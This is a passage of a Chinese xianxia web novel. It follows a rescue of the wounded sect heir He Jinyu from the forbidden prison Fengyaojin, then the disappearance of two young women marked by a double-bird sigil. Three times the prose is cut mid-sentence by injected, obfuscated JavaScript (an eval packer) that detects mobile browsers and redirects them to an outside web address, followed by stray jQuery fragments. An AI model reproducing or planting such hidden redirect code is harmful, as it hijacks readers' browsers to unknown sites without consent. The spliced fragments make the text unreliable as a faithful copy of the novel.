说罢,他停顿一下,又补充了一句:“何况今羽同聂琴机聂姑娘并无情意。”
“贺师兄的婚事,师尊恐怕很难让步。”
“师尊的顾虑我也清楚。”他的神色愈发凝重。
灵霄宗与聂家的联姻不仅仅是江湖势力之间的交好,更重要的是聂家子女所掌握的那个秘密。
那将极恶之兽封印了七百年的阵法在十二年前隐隐松动,从那时起,灵霄宗宗主贺仞便明白,天赋异禀的儿子原来应大势而生,生来便肩负着诛灭凶兽的责任。
哪怕无法诛灭,也必须封印它。
众修仙门派不可能再让七百年的人间炼狱重演一回。
但时间不多,贺今羽必须拼了命地修炼,最少也要有戚少雁的实力才有一丝希望将凶兽彻底诛灭。
七百年前那个睥睨天下的剑侠败了,贺今羽不能败,败便是死。
但聂家有一世代相传的秘法,可以迅速提升一个人的修为,而不带任何副作用。
但秘法有三个条件:
第一,施展秘法的须得是聂家血脉中的上上品,她会是医道修士里万中无一的天才。
其次,被施展秘法之人须有极其强悍的经脉,以防不能承受突如其来的巨大灵力。
最后,两者之间必须对彼此抱有绝对的信任,愿将身心皆付与对方。
“前些日子,驻守戾杀渊之地的弟子传信来,情况愈发紧急,所以师尊急召今羽回来,是想尽快完成婚约。”景怀卿说道。
祝未璃是知道一些联姻的内幕的,所以她才不愿意姐姐和贺今羽相处。
也许贺今羽对祝来月有意,但灵霄宗的少宗主必须非聂琴机不可。
七百年前,若是那戚少雁与聂家之人互有情意,必然能将凶兽斩于剑下。然而那时聂家虽有如聂琴机一般的天才,但戚少雁偏生是与全部江湖势力不相往来,甚至那些势力极度厌烦这个高高在上的天下第一。
聂家自然也是其中之一。
据说那时戚少雁已然接近半仙之境,只差渡过三劫便可升仙,是人界当之无愧的最强之人。
若有聂家之人相助,必然能够突破至半仙之境,顺利将凶兽斩杀。
“可师兄,你如今的做法,岂非使他们都痛苦?”
29. 禁地
歌漾涧的溪水如同悦耳的铃铛一样清脆,在整个山间围绕着。
祝来月半个身子靠在歌漾涧的围栏上,闭上双眼,十分陶醉地欣赏这样透彻心扉的溪水声。
这个时候没有那么多的烦忧,溪水将那一切都带走了,在这方青翠的树林之间,只剩下彼此。
在那些奇形异状的怪石之间生着许多小树,树上长着不知名的红色小花,一阵风飞过,那些红色的花瓣落入水中,随溪流奔向山脚处。
贺今羽轻轻叹了口气,敏锐的祝来月自然发现这一现象,便问道:“你可是有忧心之事?”他到现在为止,总共叹了三次气了。
贺今羽闻言只是摇头,并不回答。
而祝来月则是再次开口问道:“因为联姻一事?”
这回轮到他意外了,“你都知道了么?”
她来到灵霄宗,这是第二日,但宗中关于此事已然传得沸沸扬扬,她多少知道一些。
“人之一生不过须臾,若是事事都不得已,岂不是可惜?”祝来月突然说道,她回过身,脸上微带笑意地看向他,“其实你今日散发比往日束发要更好看些,可惜你用剑不方便散发。”
这半年以来,贺今羽分明已经看习惯了这样温柔的笑容,偏偏还是为之一愣。
他不确定祝来月是否还记得她魇境中发生的那些事,以及他对她说的那些话,他也曾经小心试探过,但她似乎并不知道。可她依旧说了同魇境中所言一样的话。
祝来月对他没来由的脸红觉得有些奇怪,刚欲开口时,却来了一人打断了她。
那名弟子走到贺今羽面前,恭敬地行礼,之后便说道:“少宗主,宗主和诸位长老在议事堂等你。”
两人只能都将那些想法都按下,祝来月本想提出一同前往,又思及她毕竟不是灵霄宗之人,便不愿再过多干涉他自己的事,贺今羽独自前往松山的议事堂。
他们都走后,祝来月也失了兴致,独自一人在礼山闲逛。
好巧不巧,竟然碰上了浮玉长老。
祝来月通过他的长老服饰和腰间的紫金令牌认出了他的身份,萧起看上去与宗主差不多的年纪,板着一张脸,看上去比贺今羽还不好相处。
“浮玉长老。”出于礼节,祝来月还是给他打了招呼。
不过这位长老倒是云淡风轻地“嗯”了一声后就走入了礼山的浓雾里。
难怪都说灵霄宗之人清高。
她突然想起刚认识贺今羽的那段时日,最先是祝来月礼貌地为淋了雨的他撑伞,结果被他无视。之后相处时,他也总是面无表情,惜字如金的模样。
不知是何时起,他竟然开始袒露自己的情绪。
想到此处,祝来月不禁微笑着垂下头。
后来,她是根据浮玉一脉在灵霄山脉各峰之间布下的可自行穿梭的阵法回到了松山的□□蓬门。
此刻已经接近黄昏之时,她回到屋内等待灵霄宗的杂役弟子带来晚膳,却等到了两个意想不到的人。
“姐姐!”祝未璃气喘吁吁地冲进屋内,她的身后紧跟着景怀卿,两个人面上的表情告诉了祝来月,一定出事了。
她上前,端了一盏茶替妹妹顺气,沉稳地说道:“怎么了?”
祝未璃看看姐姐,又看看师兄,后者皱着眉冲她摇头,示意她不要说。
“可是贺师兄瞒得了一时,难不成还能瞒姐姐一辈子么?”她义无反顾地说道,“姐姐有知情的权利。”
景怀卿见状,知道拦不住她,便长叹一声,说道:“好吧,祝姑娘,接下来要对你说的事希望你不要紧张,今羽他出事了。”
祝来月顿时有些不安,她极少这样。但能让景怀卿和妹妹这样慌张,一定不是小事。
她沉默着等待他们继续说下去。
“贺师兄因为在议事堂当众违抗师尊,现已被关进了……风摇尽。”
“风摇尽?”祝来月面色一沉。
她是知道风摇尽的,那里是灵霄宗的禁地,是关押那些极恶之妖的地方。在那里的妖怪手上少说也捏着一百条人命。
那位树妖子夜,便是因为吃人太多,再加上死不悔改,在贺今羽回来之后,便将其关进了风摇尽之内。
灵霄宗很少有将弟子关进风摇尽的记录,建宗千余年,那些被关进去的弟子也是屈指可数。
这位宗主究竟有多恨他的亲生骨血?就连祝来月都不禁心生寒意。难怪他看上去总那么难以靠近,在这样的环境中成长,换了是谁都不能开朗自信的。
“我要去风摇尽。”祝来月斩钉截铁地说道。
“祝姑娘,你知道那里是什么……”
不及他说完,祝来月便打断了他的质疑,“我清楚。贺今羽他舍命救过我一回,此恩若是不报,我此生恐怕寝食难安。”
她想起几日前的事,虽然她想不起魇境中的经过,但在她醒来之后,聂棋缘对她提起过贺今羽是抱着死志才救她一事。
“何况我也实在想去一观传闻中连风都止步的禁地。”她又说道。
“好。”景怀卿心知再劝也没作用,只能同意,“但我们要再晚些时候进去,风摇尽日夜有弟子守卫,若是不得师尊首肯,他们是绝不可能放我们进去的。唯有等到他们交班的空隙才有机会进入。”
他说罢,转向祝未璃,道:“师妹就别去了,那里太危险,你目前的修为还不足以应付。我的修为也保护不了两人。”
祝来月点头认同,璃儿却顿时不悦,极具反抗意识地说道:“不行,我必须去保护姐姐。”
“璃儿听话。”祝来月无奈地看向她,“难道你还信不过景大侠吗?”
“信得过,可是……”
祝来月见她动摇,连忙制止她继续反驳,“那你在外等我们回来,放心,我一定小心行事。”
祝未璃只好勉强应下了。
直到夜深时,祝来月和景怀卿来到风摇尽的附近,甚至能够清晰地看到那个漆黑一团的入口,那个入口不仅使人恐惧,又给人以一种无形的吸引力,看得越久,便越容易深陷其中。
他们终于等到了守卫弟子交接的时机,见风摇尽的入口没了人,两人相视一眼,以最快的速度进入了风摇尽之内。
因为太过专
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840350|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
注,甚至没发现后面跟着一个小尾巴。
祝未璃鬼鬼祟祟地跟在后边,直到姐姐和师兄都进去之后,她三步并作两步也准备进入风摇尽。
就在这时,身后突然出现一种她从未见过也从未感受过的力量,这种力量既非修士的灵力、更非妖物的妖力,而像是一种更加纯净的存在。
那一身影之快,她不及有任何反应,就被敲晕了过去。
那身影在风摇尽那漆黑的入口外,看着昏倒的祝未璃,说了一句:“你的机缘不在此处。”在寂静的灵霄山脉力,隐隐约约地传来几声轻笑。
祝来月他们自然是不知道这一情况的,他们进入风摇尽之后便打起了几万分的精神,生怕一个不注意便死在此地。
此地妖气浓郁,更有一种让人胆战心惊的戾气。
那是充满杀意之物才会产生的力量。
为了避免引来兽妖,他们并不点火,而是使用了夜视之法在这片伸手不见五指的黑暗中小心前进着。
“小心,我感受到不少草木之妖靠近。”祝来月小声警醒他道。
景怀卿心生疑惑,不禁问道:“为何我并未觉察出来?”
此地妖气太过浓郁,要在这样的情况下察觉到清晰的妖物的距离绝不是易事。比方说实战经验极为丰富的景怀卿都不能觉察出来,她这样没什么修为和灵力的普通人又是怎么做到的?
祝来月觉得疑惑,分明那些妖气的源头正在逐渐靠近,可景怀卿竟然没能察觉。
但景怀卿还是听从了她的判断,屏息凝神注意附近的变化。
但接下来却发生了更加令人匪夷所思的事情:那些靠近他们的草木之妖在距离他们大约十米远的地方纷纷停下了步伐。
这个距离,景怀卿也能隐约从浓郁的妖气中察觉到它们的存在了。
而它们除了妖气冲天,竟然对他们没有半分戾气。
确认它们没有攻击的迹象时,两人决定继续小心前进着。
随着他们的前进,那些草木之妖也渐渐地变换位置,仍旧和他们保持着不远不近的距离。
“这些妖物怎会如此?”祝来月不禁小声发问道。
他摇头,“我也从未见过这样的迹象,但我们得小心些,兴许它们在谋划什么……”
毕竟能关在风摇尽的妖也不同于其他妖物,绝非善类。
但他们一路前进,那些妖物还是没有伤害他们的意思。
此地当真是传说中连一阵风都没有的长夜禁地风摇尽吗?
进来大约已经过去半个时辰,不仅没有看到一些贺今羽的踪迹,也没有遇到任何妖物企图不轨。
直到他们的身侧隐约听见了蛇吐信子的声音,紧接着,那声音的源头从一片灌木丛中猛地窜出,像是一支从绷紧的弓弦上射出的羽箭。
那是一条通体雪白的蛇,看上去不大,大约只有手腕粗细。
要知道,蛇妖大多都是那种十几米、二三十米长的大蛇,这样的小蛇很是另类。
祝来月在看到它的那一瞬间,心脏就提到了嗓子眼,惊叫一声:“小心!银煞蛇!”
30. 伤势
银煞蛇小巧玲珑,相同年份的银煞蛇总比其他的蛇要更小许多。但银煞蛇妖生性嗜杀,且有剧毒,凡中毒者活不过三秒。
世间至今无药可医。
所以祝来月那样惊慌。
景怀卿立刻使用了千里快哉风,以敏捷的反应能力避开了银煞蛇妖的攻击。
“人类,我在这里被你们关了上百年,你们既然敢进来,就死在这里吧!”
那只银煞蛇一边进攻,一边桀桀笑着,在它这番话语下,两人甚至能够闻见银煞蛇口中恶臭的腐烂腥味。
“不好,此蛇可以人言,少说五百年修为。”祝来月闻言脸色大变。
像是这种蛇虫类、草木类修炼不易,比起飞禽走兽,它们要修成人形、口吐人言极为困难,而银煞蛇更是其中之最。
能口吐人言的银煞蛇不仅妖力极强,毒性也更加剧烈,恐怕被它那锋利的蛇牙刺穿皮肤的那一瞬间,人就会命丧黄泉。
一条五百年修为的银煞蛇的妖力近乎接近千年之妖的妖力。
他们尽力躲避着攻势迅猛的银煞蛇,暂时处于下风。
很快,银煞蛇就发现了两人之中有一个身法弱些,它能够极轻易地将那人咬死。
那人便是祝来月。
它调转方向,不再死缠着景怀卿,转向了祝来月。
只见它将几米的蛇身盘踞于原地,在一个呼吸间,蛇身呈现弹簧状,猛地飞射出去,在空中形成一条长长的线。
银煞蛇来势汹汹,祝来月避之不及,蛇牙瞬间刺透了她的手掌。
正当她以为自己就要丧命于此时,她仅仅只是感到一阵眩晕,但并没有彻底失去意识。
银煞蛇的毒性绝不可能有假,就连蛇妖自己都愣住了。
景怀卿见机立刻挥剑,使出了鹤栖剑法一篇的第二式——花醉三千客。
剑气直直刺向发愣的银煞蛇,空气中弥漫着一股淡淡的花香,等到银煞蛇反应过来时已经太迟了。
那道剑意直接破开了它的七寸之处,蛇血爆裂了一地,所及之处皆滋滋作响,被蛇血溅到的植被瞬间枯死。
银煞蛇已灭。
祝来月顿时松了口气,身体脱力。景怀卿连忙赶来查看她手上的伤势,她的手心有一个极深的口子,直穿到手背,看上去很是严重。
但祝来月却并没有因为蛇毒而丧命。
这是什么情况?
但此时不容她多想,风摇尽可不是能悠哉生存的地方。她向景怀卿要了一些药,洒在伤口处。他又以细布替她简单包扎了一番。
迅速完成这些事后,祝来月说道:“我们尽快吧。”他们便再次前进着。
刚出蛇穴又进狼窝。
没走出多远,黑暗中突然出现许多绿幽幽的眸子,那十几双眼睛死死地盯着两人。
是环纹焱狼,腰腹部有一圈环形纹路,具有火系的妖力,危险程度不及银煞蛇,但因其属于群居,一旦出现便是整个狼群,所以很有几分麻烦。
景怀卿手持玉剑,凝聚剑意,向前横空刺去,又配合他的身法,将鹤栖剑法一篇发挥得淋漓尽致。
他接连使用了许多招,而那些环纹焱狼也不甘示弱,口中吐出烈火,又非常默契地配合进攻。景怀卿一边躲避着那些要人命的火球,一边不断地使出剑招。
但不知为何,环纹焱狼们的动作有几分迟缓,像是受了伤。
景怀卿凌空跃起,在空中转了一圈,再次落地,他的脚步略带醉意,仿佛绵软无力。
但下一秒,他整个人消失在原地,瞬间出现在狼群面前,刺出了令全部狼群反应不及的一剑!
一醉清欢。
鹤栖剑法一篇的第四式。
狼群中所有的环纹焱狼应剑气而倒地,大多数深受重伤,而冲在最前面的、像是首领的狼则是直接死了。
景怀卿这才发现那些狼的身上皆有许多冰冻之剑伤,那是贺今羽的剑法所致而特有的伤痕。
那些环纹焱狼一倒地,躲藏在暗处的许多兽妖一拥而上,啃噬着受伤的狼群。
风摇尽就是这样,一旦有妖受伤,其他的恶妖便会瞬间将它啃噬殆尽。
他们拼命阻拦,即使能关在这里的妖都犯过大错,被吃也不足惜。他们想要起码保下一只狼,可以打听贺今羽的去向,但那些妖实在是饿极了,拦住一个还会有另一个,就这样无穷无尽地扑上来。
这里每日都在上演着弱肉强食的戏码。
眼下最重要的是寻找贺今羽的踪迹,如今终于有了一些痕迹,两人都很是惊喜。但那群狼顷刻之间便被饿肚子的兽妖们吃了个干净。
他们没了办法,只能继续凭感觉继续前进着。
又前进了半个时辰,除了路上遇到一些妖物身上有贺今羽的剑法留下的痕迹以外,就没有一点踪迹了。
“这么长时间了,也不知道他在哪。”景怀卿明显忧心忡忡。
祝来月安慰他道:“没事的,贺今羽修为高深,这些妖应当奈何不了他。”
是啊,若是寻常时候,他自然不必如此担心,可贺今羽昨日才去霹雳引受过雷刑。
又碰上接连不断的妖,即使他贺今羽剑法再过人,也撑不了太久。
但这事,贺今羽不让任何人告知祝来月,所以他也是在心中默默替这个傻兄弟叹了口气。
另一边,灵霄宗宗主贺仞的居所中的小亭内。
贺仞的对面坐着一名同他年纪相仿的男子,那人不似贺仞这般严肃,倒是颇有几分和善。此人便是聂家家主之夫孔泊。
他于今日午时赶到灵霄宗,与贺仞相商两个孩子的婚事,家主则是因为家中事务繁忙,脱不开身,便不曾赶来。
此时,两人相对而坐,石桌上摆着一壶清酒,小酌片刻后,孔泊因贺仞连连叹气,不禁说道:“贺兄何必这般忧心?”
“他这样顽固不化,我怎能不忧心?”贺仞一边摆手一边摇头,又长长地叹气,“你说早知如此,我们当初就该把琴机那孩子接到灵霄宗来,提前培养感情,又何至于此?”
孔泊替他又斟了一杯酒,“诶”了一声,说:“贺兄莫非忘了?琴机有如今的实力,除了她自身的天赋以外,还有娴儿日以继夜地教导,以及她根据琴机的经脉安排的日日不断的药浴和内服之药,若是琴机离了玲珑城,恐怕还无法学会聂家秘法。”
他口中的娴儿正是聂家当代家主聂娴。
聂琴机自然可以离
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840351|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开玲珑城,但聂娴不能。身为人界医道之首的聂家家主,她每天都有忙不完的事情,这些年来又为琴机的事焦头烂额。
“孔弟这话实在让我羞愧万分。聂家主为了这事劳苦功高,琴机又那样明事理,偏偏逆子不领此情……”贺仞将杯中之酒一饮而尽,而心中的愁绪却未减少半分。
孔泊再次摇头,道:“贺兄也不必有愧,琴机是几百年来难得的奇才,即使不为了今羽,她也是必须要学秘法的。”
聂家秘法并不只是能增长与其心意相通之人的修为,对聂家人自身亦有极大的好处。
说到这里,孔泊也跟着有些愁起来,“若非琴机生来体弱,以她的天赋,学这秘法绝非难事。”
所以聂琴机才必须学习这秘法,只因聂家秘法还有一个作用——使修习者百病不侵。
贺仞自然察觉出他的烦忧,便举杯与他同饮。
“只是,贺兄此番会不会罚得太重了些?今羽他自小很是努力,即使我远在玲珑城亦有所耳闻,若是好好劝导,兴许他会听些。那风摇尽岂是他该去的地方?”
“关于此事,孔弟不必再多劝。”
见他态度坚决,孔泊也不好再干涉他的家事。
风摇尽内,仍旧是一篇昏暗,祝来月和景怀卿小心前行。因为不断有妖兽所袭,景怀卿此时已然有些力竭,身上亦是有着不少伤口。
走着走着,两人忽然闻到一股极其浓烈的血腥味,在夜视之法的视野下,两人看见不远处有一头马车大小的巨虎,虎妖有两颗极长的牙,约莫一人长。
只这一眼,祝来月就认出了虎妖的种类。
朔齿虎,张口便有飓风袭来,其獠牙比一般虎类要长许多,也是杀人的利器。
两人很快便注意到附近的草木皆有被狂风席卷过凌乱的痕迹。
朔齿虎正低着它硕大的头颅,暂时还未发现两人的存在。顺着它的虎眼望去,发现地上竟然有一个人形,那虎正是要进食的模样。
再定睛一看,发现那个即将要死于虎口的人竟然就是他们苦苦寻找多时的贺今羽。
眼见朔齿虎就要把他拆吃入腹,说时迟那时快,一道如同春风般和煦的剑意毫不犹豫地刺开了昏暗的夜晚,直直朝着准备进食的虎妖而去。
朔齿虎亦不简单,纵横妖、人两界近千年,又岂会轻易被偷袭?
它猛地一跃,眸光透出凶狠,怒骂道:“卑鄙的人族!”它已然饿了许多日了,在风摇尽之内想要饱餐一顿总是很难的事。
景怀卿道:“妖兽,今日要叫你失望了!”
说罢,他追击着那只怒气横生的朔齿虎,两者打得有来有往,一时间竟未能分出上下。
趁着他们打得难解难分,祝来月也不愣神,立刻上前查看贺今羽的伤势。
而此时贺今羽的伤势实在是惨不忍睹。
他浑身上下有着不少的咬伤、抓伤,以及来自各种草木之妖的刺伤、鞭伤等,整个人都被伤口包围,身上的少宗主服饰也被血液浸透,破烂不堪,在那些破口处甚至找不出几分完好的皮肤。
祝来月看到他这样一副身躯,只是沉稳麻利地上药、处理伤口,但紧锁的眉心也无疑说明了她实在是忧心他的。
31. 相连
在祝来月为他包扎时,却发现了异常。
他身上大多数伤口都有妖气的痕迹,却在她费力地将他翻身时才发现他背部的大量灼烧之伤,那分明是雷击所致,若是附有妖气还好说,可那些灼伤上却是人族的灵力所致。
她微微一愣,先将这份疑惑藏于心底,继续替他处理伤口。
祝来月不禁想到他往日的警惕,一有人接近就立刻戒备起来,哪像如今任她摆弄也不转醒。
真是伤得极重了。
若是再晚来一刻,这位天下第一的剑侠就不复存在了吧。
费了些时间,她总算尽己所能将他身上能包扎的伤口都上好了药,包扎好了。
灵霄宗所用的灵丹妙药都来自聂家,皆是极品,见效也很快。
见他暂时脱离了生命危险,祝来月也算放下心来,此时景怀卿也打败了朔齿虎归来。
他的身上也有些伤口,祝来月一边替他包扎,一边试探道:“贺今羽的剑法高绝,怎会落到这种境地?”
“他难免会失手。”
景怀卿这个回答并没能使祝来月放下怀疑,她索性提到那个雷击之伤:“可他的后背皆是灼伤,像是人族的灵力所致,且不像旧伤。”
这一路来,她可没见过贺今羽有和哪位人族修士切磋过。
再者,能伤到如此警觉的贺今羽的后背之人,整个人界也是寥寥无几。
正在景怀卿犹豫要如何瞒过此事时,贺今羽醒来了。
他连忙转移视线,道:“祝姑娘,今羽他醒了。”
说罢,他起身,去了四周巡视警戒,以防妖兽再度来犯。
祝来月只好去到贺今羽的身边,将他扶起,因为他身上全是伤口,要扶起他确实是个技术活。
她尽力找到他身上没有伤口的地方扶起他坐着。
“你们怎么进来了?”刚醒来的贺今羽,看到她满眼担忧,第一句便是这个。
祝来月没有回答,他却都明白了。
“此地极险,那些草木之妖皆会移动位置,进来之后便会失去方向。”他说道,语气中满满是“你们不该来此”的意思。
“我有办法。”祝来月说道。
“好。”
祝来月很少过多解释,贺今羽总是下意识地信任了她的“有办法”。
其实自她渡过那次生死攸关醒来后,她的脑海中,常有许多陌生的画面,午夜梦转,也常常因此而惊醒。
在那些看似虚幻的梦境中,她几乎清晰地感受到自己仿佛完全成了另一个人,一片寂静的森林,一片澄澈无澜的湖泊。时间在那里像是停止了流逝,一切那么安详。
可变故突生,耳边环绕着许多声音,因为太过嘈杂,她只能听到什么“共工”、“颛顼”、“戾气”这几个词被反复述说。
而这颛顼和共工分明是神,怎么会提到他们?
不知为何,她总觉得内心深处缺少了一块。这种感觉就像忘记了什么很重要的事一样。
更加让她难以置信的是,她与天地之间的草木之间仿佛隐隐产生了联系,像是她和它们从来都是共生共存一般。
这次进入风摇尽也更让她确信了这一点。
这一路来,那些草木一直不远不近地跟着他们,却不发起攻击。攻击他们的只有兽妖之流。
所以,她才对贺今羽说,她兴许能与万木沟通,以找出离开这里的方法。
说完,她在原地打坐,运转经脉之中的灵气,阖眼感受草木的之气息。
那一刻,整个风摇尽在她脑海中呈现,禁地里常存的黑夜此刻已被一片清明取代,一切路径都那样的清晰。
很快,她就找到了风摇尽的入口,亦是出口。
在她与出口之间仿佛存在着一条线,指引方向。
祝来月睁开眼睛,微微笑着。
“我们走吧。”
剩余的二人闻言,点头跟上祝来月的步伐。
贺今羽伤势严重,便由她一路搀扶着,而景怀卿则是负责走在最后,警戒着四周的异常。
回程比来时要顺利得多,兴许他们的实力在风摇尽中已经传开了,所以那些妖才没有继续出手,而是隐于暗处虎视眈眈地看着三人离开了这个囚禁它们数百年的风止之地。
风摇尽有个特点,也是众妖即使知道出口也无法逃离的原因——风摇尽出口处有一道强悍的禁制,凡是妖类,有进无出。
据传是一千多年前灵霄宗初建成时,第一代的浮玉长老所设下。
除非此妖的妖力已然胜过那位浮玉长老的灵力,又或者那代浮玉长老身陨,否则关在风摇尽之内的妖是不可能逃出这里的。
而那位浮玉长老,正是灵霄宗第二位渡天劫化仙之人,获得了长生不老之寿。
当三人站在出口前时,祝来月心生担忧。
她能与众妖产生联系,恐怕已非人族。但这毕竟只是她的猜测。
贺今羽说了一句:“没事。”
早在荣州城时,他就隐约察觉出祝来月的不同。
一个平凡、修为一般的普通女子,怎么可能仅凭血液就破了千年之狐的幻术?后来也多次印证了她的特殊。
祝来月看向他,并不言语,只是点头。
“走吧,迟则生变。”身后的景怀卿忽然走到他们前面,催促他们道。
说罢,他越过出口处的禁制,身影消失在门里,两人紧随其后,在跨越那道禁制时,祝来月不禁提起了心,但之后的事却始料未及的顺利。
从风摇尽出来之后,迎面对上守卫禁地的几名弟子,他们面面相觑,不知如何应对。
倒是景怀卿替他们想了个处理方法:“去禀告师尊。”
反正贺今羽被他们救出来这件事,宗主早晚都会知道,倒不如他们来坦白。
祝来月和景怀卿一同将他送回寝居。虽然天方蒙亮,但宗主却极其迅速地来到了这里,看上去像是一夜未眠。
他一见到三人,便道:“是你们进入风摇尽将他带出来的?”
“是,师尊。”景怀卿立刻回道,“弟子有错,但凭师尊责罚。”
贺仞被他不卑不亢的态度气得冷笑几声,道:“罢了,也算你们的本事。风摇尽自建成至今,极少有人进去还能安然无恙地出来。”
他说罢,又转而对贺今羽说道:“你可知错了?”
“我没错。”他虽然重伤,却不低头,不仅不低头,他还要反抗到底。
“你还执迷不悟!”贺仞瞪圆双目,怒喝一声,“你可知我这样的安排是为了……”
贺今羽不等他说完,便打断道:“没有聂家人,我也会斩下凶兽首级。”
“好,好,好!”贺仞一连说了好几个“好”字,顿时有些语无伦次,怒极,他不再驳斥贺今羽,一甩袖子,便摔门而去了。
他离开之后,祝来月不禁问道:“诛灭凶兽与聂家有何关联?”
景怀卿看看沉默的贺今羽,又叹了一声,才对祝来月说道:“你以为灵霄宗为何会与聂家世代交好?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840352|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
只因为聂家为医道之首,炼丹制药的水平皆为一流?祝来月首先想到了这一点,但仅凭这些仿佛又有些不够。所以她沉默了。
毕竟灵霄宗乃天下修仙门派之首,亦是成仙之修士最多的门派,聂家若仅仅是这些还不足以他们世代交好。
关于此事,原本是个秘密,不该告诉祝来月的。但景怀卿思及她与祝未璃、贺今羽的关系,又想到机敏好问如她,总会知道这个秘密。
于是他对她说道:“聂家有一个世代相传的秘法,名为月中骞,习此法者,可助与其心意相通之人灵力速增而无反噬之作用。”
“所以聂琴机会此秘法?”她问道。
“是。”
原来贺仞对贺今羽要求甚高,不仅仅是因为他是将来的宗主,更因为从凶兽封印松动时他身上所肩负的责任。
七百年前,是修仙之道鼎盛的时代,当时处于统领地位的七方势力各派出一名最强者,再加上天下第一的剑侠戚少雁,全部死于凶兽之下,集八人之力也只是将它封印。
而今的七方势力只剩三宗,江湖实力大不如前,最好的结果也是同七百年前的八人一样以死换取人界几百年的安宁。
贺仞便想借聂家之手,增加贺今羽生还的可能。
但二人如今并不心意相通,而时间也越来越少了。
直到一阵紧促的敲门声响起,才打破了三人之间的沉默。
景怀卿去开门时,发现是门中的一位弟子,他气喘吁吁,一脸着急,但他还是先向景怀卿抱拳,说道:“师兄。”
景怀卿点头示意他说下去,他才说道:“宗主大人有急召,传师兄和少宗主即刻前往议事堂。”
说完,他便离开了贺今羽的寝居。
他们并不知道究竟发生了什么事让才拂袖离去的宗主又突然传召,于是迅速前往了议事堂,祝来月知道自己并非灵霄宗之人,便没有跟去,而是去找祝未璃一同用早膳。
贺今羽他们来到熟悉的议事堂时,里头站满了灵霄宗的全部长老,还有聂家之人,比前些天商议联姻一事时的人还要更齐。
出事了。
贺今羽明确感受到了这一点。
他走进议事堂时,幽篁长老虞莫桐不禁皱起眉头,只因他的脸色极差,唇色苍白得像是个将死之人。
贺仞和站在他身旁的孔泊神色凝重,宗主对着两人说道:“传你们来,是有事要你们去做。”
“请宗主吩咐。”贺今羽波澜不惊地说道。
贺仞不废话,直入主题道:“聂家长女失踪了,你们立刻下山寻人。”
尽管很意外,他们还是沉稳地应答。
偏偏在这个关头失踪了,太奇怪了。
孔泊又对他们述说了聂家连夜传信来的内容。
“琴机消失,房内唯有这个图案。”
说罢,他一挥手,空中浮现出一个神秘的图案:双鸟交织,像是一凤一鸾。
“已经安排人在查这图案的来历了,之所以让你们去寻人,除了向聂家请罪之外,更主要的是你的白羽剑。”贺仞对贺今羽说道,“白羽剑和流星坠源于同一块灵铁,彼此相连。”
明了此次的任务之后,两人准备各自回去准备行李,却在刚出议事堂时碰到了匆匆赶来的祝来月,并从她口中得知了另一件大事:
“璃儿不见了!”
他们一同来到祝未璃居住的屋里,顿时一惊。
她房内的墙上,贺然是那副双鸟交织图,同聂琴机的一样。
32. 狭路
失踪一事刻不容缓,唯一可以确定的是,将她们抓走的人是有意要引起灵霄宗与聂家的注意,否则也不会特意留下个印记。
而那个印记经过诸位长老一番查阅书籍仍然没有结论,是个从未有过的图案。
收到宗门传信的贺今羽也将这个信息告知了一旁的祝来月和景怀卿二人。
三人于三日前从灵霄山脉出发,根据白羽剑和流星坠之间的感应一路北行,途经安州时便停下半日,在此等一个人。
安州位于灵霄山脉与玲珑城之间,他们等的人正是玲珑城聂家次女聂棋缘。
她冲进约定好相见的茶楼时,面红耳赤,眸色疲惫,想来这一路也是辛苦极了。
聂棋缘向他们一一打招呼,随后会面的四人便即刻开始赶路了。
“对了,忘了和你们说了,姐姐被劫持那日我经过她的小院,贼人对我说了句话。”上了马车之后,聂棋缘说道:“她不会伤害她们,而且会在什么地方等我们。”
“什么地方?”祝来月立刻反问道。
“那夜风声紧,我没听清楚。”她顿时有些沮丧,“不过,那是一个女声,而且必然是有备而来。”
祝来月闻言赞同,“是的,她说的既然是‘她们’,想必早已打算劫走令姐和璃儿。”
“究竟何人能够在一夜之间往返灵霄山脉与玲珑城?”贺今羽不禁问道,据他所知,世上能做到这种地步的人根本不可能存在于人界,而是仙界。
即使是以逃匿速度而闻名江湖的千年狐妖绮罗恐怕也难以做到这个地步。
“兴许她们并非一人?”祝来月沉吟片刻,便提出了一种可能。
在场众人闻言皆是点头。
景怀卿便道:“总之,我们起码知晓一件事——师妹她们暂时没有生命危险。”
根据白羽剑的指引,四人紧赶慢赶地北行七八日,一日不歇,轮流驾马车。
越是向北,气候便越是寒冷,来到了一片雪原之上,时值盛夏却茫茫一片雪白。天气晴朗,正午时分直射的阳光照得那白雪很是刺目。
此时坐在鞍座之上的是景怀卿,他半眯着眼驾驶着马车前进,恍惚之间看到那一片白茫茫之中多了几个赤色的小点,在前进时,那些小点便成了人形。
